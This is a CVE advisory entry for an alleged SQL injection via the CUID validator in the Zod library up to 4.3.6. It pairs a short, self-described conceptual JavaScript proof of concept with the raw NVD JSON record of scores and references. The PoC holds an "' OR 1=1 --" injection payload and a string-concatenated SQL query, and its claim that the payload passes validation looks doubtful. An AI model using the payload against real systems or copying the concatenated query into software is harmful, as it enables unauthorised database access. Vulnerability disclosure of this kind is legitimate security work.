CVE-2026-6991

// Conceptual Proof of Concept for CVE-2026-6991 // Demonstrates SQL Injection via vulnerable CUID handler in Zod <= 4.3.6 const { z } = require('zod'); // Vulnerable Schema Definition // The vulnerability resides in the CUID validation logic const vulnerableSchema = z.object({ id: z.cuid() }); // Malicious payload designed to exploit the regex manipulation // This payload attempts to bypass CUID validation to inject SQL const payload = "' OR 1=1 --"; console.log("[+] Testing payload: " + payload); try { // In vulnerable versions, this validation passes unexpectedly const validatedData = vulnerableSchema.parse({ id: payload }); console.log("[!] Validation Bypassed! Input accepted: " + validatedData.id); // Simulating backend SQL construction using the 'validated' input // If the backend uses string concatenation, SQL Injection occurs const userId = validatedData.id; const query = `SELECT * FROM users WHERE id = '${userId}'`; console.log("[+] Executing Query: " + query); // Result: SELECT * FROM users WHERE id = '' OR 1=1 --' } catch (error) { console.log("[-] Validation failed. Payload rejected."); }

{"cve": {"id": "CVE-2026-6991", "sourceIdentifier": "[email protected]", "published": "2026-04-25T18:16:19.240", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in colinhacks Zod up to 4.3.6. The impacted element is an unknown function of the file packages/zod/src/v4/core/regexes.ts of the component CUID Data Type Handler. Executing a manipulation can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://vuldb.com/submit/796749", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359543", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359543/cti", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/796749", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}